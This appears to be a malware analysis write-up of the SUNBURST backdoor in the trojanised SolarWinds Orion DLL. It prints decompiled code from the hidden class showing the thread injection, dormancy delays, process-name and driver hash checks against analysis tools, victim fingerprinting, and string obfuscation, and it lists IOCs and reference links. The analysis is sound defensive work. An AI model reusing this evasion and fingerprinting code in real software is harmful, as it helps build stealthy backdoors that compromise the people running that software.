- 1. Sunburst Analysis
- 2. Analysis
- 3. IOC
- 4. Source
SHA256 32519B85C0B422E4656DE6E6C41878E95FD95026267DAAB4215EE59C107D6C77
SHA1 76640508B1E7759E548771A5359EAED353BF1EEC
MD5 B91CE2FA41029F6955BFF20079468448
Class: SolarWinds.Orion.Core.BusinessLayer.InventoryManager
internal void RefreshInternal()
{
if (InventoryManager.log.get_IsDebugEnabled())
InventoryManager.log.DebugFormat("Running scheduled background backgroundInventory check on engine {0}", (object) this.engineID);
try
{
if (!OrionImprovementBusinessLayer.IsAlive)
new Thread(new ThreadStart(OrionImprovementBusinessLayer.Initialize))
{
IsBackground = true
}.Start();
}
catch (Exception ex)
{
}
if (this.backgroundInventory.IsRunning)
{
InventoryManager.log.Info((object) "Skipping background backgroundInventory check, still running");
}
else
{
this.QueueInventoryTasksFromNodeSettings();
this.QueueInventoryTasksFromInventorySettings();
if (this.backgroundInventory.QueueSize <= 0)
return;
this.backgroundInventory.Start();
}
}
Class: SolarWinds.Orion.Core.BusinessLayer.OrionImprovementBusinessLayer
The constructor will set variable (Hash and encode strings).
Full code:
if (OrionImprovementBusinessLayer.GetHash(Process.GetCurrentProcess().ProcessName.ToLower()) != 17291806236368054941UL || DateTime.Now.CompareTo(System.IO.File.GetLastWriteTime(Assembly.GetExecutingAssembly().Location).AddHours((double) new Random().Next(288, 336))) < 0)
return;
OrionImprovementBusinessLayer.instance = new NamedPipeServerStream(OrionImprovementBusinessLayer.appId);
OrionImprovementBusinessLayer.ConfigManager.ReadReportStatus(out OrionImprovementBusinessLayer.status);
if (OrionImprovementBusinessLayer.status == OrionImprovementBusinessLayer.ReportStatus.Truncate)
return;
OrionImprovementBusinessLayer.DelayMin(0, 0);
OrionImprovementBusinessLayer.domain4 = IPGlobalProperties.GetIPGlobalProperties().DomainName;
if (string.IsNullOrEmpty(OrionImprovementBusinessLayer.domain4) || OrionImprovementBusinessLayer.IsNullOrInvalidName(OrionImprovementBusinessLayer.domain4))
return;
OrionImprovementBusinessLayer.DelayMin(0, 0);
if (!OrionImprovementBusinessLayer.GetOrCreateUserID(out OrionImprovementBusinessLayer.userId))
return;
OrionImprovementBusinessLayer.DelayMin(0, 0);
OrionImprovementBusinessLayer.ConfigManager.ReadServiceStatus(false);
OrionImprovementBusinessLayer.Update();
OrionImprovementBusinessLayer.instance.Close();
Exit if the process name is not solarwinds.businesslayerhost
Source code:
OrionImprovementBusinessLayer.GetHash(Process.GetCurrentProcess().ProcessName.ToLower()) != 17291806236368054941UL
if LastWriteTime < (Between 12-14 days)
the thread will exit.
Source code:
DateTime.Now.CompareTo(System.IO.File.GetLastWriteTime(Assembly.GetExecutingAssembly().Location).AddHours((double) new Random().Next(288, 336))) < 0)
OrionImprovementBusinessLayer.appId = 583da945-62af-10e8-4902-a8f205c72b2e
Source code:
OrionImprovementBusinessLayer.instance = new NamedPipeServerStream(OrionImprovementBusinessLayer.appId);
Check if ConfigurationManager.AppSettings["ReportWatcherRetry"]
return 3 and if it's the case the thread will exit.
Source code :
int.TryParse((ConfigurationManager.AppSettings["ReportWatcherRetry"], out result)
switch (result)
{
case 3:
status = OrionImprovementBusinessLayer.ReportStatus.Truncate;
return true;
case 4:
status = OrionImprovementBusinessLayer.ReportStatus.New;
return true;
case 5:
status = OrionImprovementBusinessLayer.ReportStatus.Append;
return true;
}
if (OrionImprovementBusinessLayer.status == OrionImprovementBusinessLayer.ReportStatus.Truncate)
return;
The delay time is between 30 minutes and 2 hours.
double minMs =30 * 60.0 * 1000.0;
double maxMs =120 * 60.0 * 1000.0;
double num;
for (num = minMs + new Random().NextDouble() * (90 * 60.0 * 1000.0); num >= (double) int.MaxValue; num -= (double) int.MaxValue)
Thread.Sleep(int.MaxValue);
Thread.Sleep((int) num);
Get system DomainName. If empty or null, then the thread will exit.
OrionImprovementBusinessLayer.domain4 = IPGlobalProperties.GetIPGlobalProperties().DomainName;
if (string.IsNullOrEmpty(OrionImprovementBusinessLayer.domain4) || OrionImprovementBusinessLayer.IsNullOrInvalidName(OrionImprovementBusinessLayer.domain4))
return;
The delay time is between 30 minutes and 2 hours.
The UserID is create based the concatenation of:
- PhysicalAddress of the first Network Interface (Not Loopback)
return ((IEnumerable<NetworkInterface>) NetworkInterface.GetAllNetworkInterfaces()).Where<NetworkInterface>((Func<NetworkInterface, bool>) (nic => nic.OperationalStatus == OperationalStatus.Up && nic.NetworkInterfaceType != NetworkInterfaceType.Loopback)).Select<NetworkInterface, string>((Func<NetworkInterface, string>) (nic => nic.GetPhysicalAddress().ToString())).FirstOrDefault<string>();
- Domain Name
- System MachineGuid
str += OrionImprovementBusinessLayer.RegistryHelper.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography"), OrionImprovementBusinessLayer.ZipHelper.Unzip("MachineGuid"), (object) "");
The concatenat string is then hash with md5 and the hashed whit this function:
for (int index = 0; index < hash.Length; ++index)
hash64[index % hash64.Length] ^= hash[index];
The delay time is between 30 minutes and 2 hours.
if (OrionImprovementBusinessLayer.ConfigManager.ReadConfig("ReportWatcherPostpone", out sValue))
{
int result;
if (int.TryParse(sValue, out result))
{
if (result >= 250)
{
if (result % 5 == 0)
{
if (result <= 250 + ((1 << OrionImprovementBusinessLayer.svcList.Length) - 1) * 5)
{
int num = (result - 250) / 5;
if (!_readonly)
{
for (int index = 0; index < OrionImprovementBusinessLayer.svcList.Length; ++index)
OrionImprovementBusinessLayer.svcList[index].stopped = (uint) (num & 1 << index) > 0U;
}
return true;
}
}
}
}
The real game see point: 2.2.2.11. OrionImprovementBusinessLayer.Update
OrionImprovementBusinessLayer.instance.Close();
[TODO]
Select * From Win32_OperatingSystem
Caption
OSArchitecture
InstallDate
Organization
RegisteredUser
Version
MachineGuid = reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
hash = md5(MachineGuid)
for (int index = 0; index < hash.Length; ++index)
hash64[index % hash64.Length] ^= hash[index];
Select * From Win32_NetworkAdapterConfiguration where IPEnabled=true
Description
MACAddress
DHCPEnabled
DHCPServer
DNSHostName
DNSDomainSuffixSearchOrder
DNSServerSearchOrder
IPAddress
IPSubnet
DefaultIPGateway
private static readonly ulong[] configTimeStamps = new ulong[17]{
17097380490166623672UL,
15194901817027173566UL,
12718416789200275332UL,
18392881921099771407UL,
3626142665768487764UL,
12343334044036541897UL,
397780960855462669UL,
6943102301517884811UL,
13544031715334011032UL,
11801746708619571308UL,
18159703063075866524UL,
835151375515278827UL,
16570804352575357627UL,
1614465773938842903UL,
12679195163651834776UL,
2717025511528702475UL,
17984632978012874803UL
};
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * From Win32_SystemDriver"))
{
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
{
ulong hash = OrionImprovementBusinessLayer.GetHash(Path.GetFileName(managementBaseObject.Properties["PathName"].Value.ToString()).ToLower());
if (Array.IndexOf<ulong>(OrionImprovementBusinessLayer.configTimeStamps, hash) != -1)
return true;
}
}
return false;
Get-CimInstance -ClassName Win32_SystemDriver | Select-Object -Property PathName > stringFile.txt
- FromBase64String
- Decompress
- Encoding.UTF8.GetString
public static string Unzip(string input)
{
if (string.IsNullOrEmpty(input))
return input;
try
{
return Encoding.UTF8.GetString(OrionImprovementBusinessLayer.ZipHelper.Decompress(Convert.FromBase64String(input)));
}
catch (Exception ex)
{
return input;
}
}
Decode String with cyberchef
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)Raw_Inflate(0,0,'Adaptive',false,false)&input=OC9CMmpZeDM5bkVNRG5ZTmpnL3k5dzhCQUE9PQ
Alphabet used Base64Decode: rq3gsalt6u1iyfzop572d49bnx8cvmkewhj
Alphabet used Base64Encode: ph2eifo3n5utg1j8d94qrvbmk0sal76c
private static ulong GetHash(string s){
ulong num1 = 14695981039346656037;
try{
foreach (byte num2 in Encoding.UTF8.GetBytes(s)){
num1 ^= (ulong) num2;
num1 *= 1099511628211UL;
}
}catch{}
return num1 ^ 6605813339339102567UL;
}
The majority of the hash have been cracked and can be found here:
https://docs.google.com/spreadsheets/d/1u0_Df5OMsdzZcTkBDiaAtObbIOkMa5xbeXdKk_k0vWs/edit#gid=0
NamedPipeServerStream id: 583da945-62af-10e8-4902-a8f205c72b2e
Dll hash:
- SHA256:
32519B85C0B422E4656DE6E6C41878E95FD95026267DAAB4215EE59C107D6C77
- SHA1:
76640508B1E7759E548771A5359EAED353BF1EEC
- MD5:
B91CE2FA41029F6955BFF20079468448
DOC
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
Malware info
https://github.com/fireeye/sunburst_countermeasures/blob/main/indicator_release/Indicator_Release_Hashes.csv
https://www.virustotal.com/gui/file/32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77/community
https://app.any.run/tasks/533e5fc5-c5ee-47d7-9eca-342f24d7945f/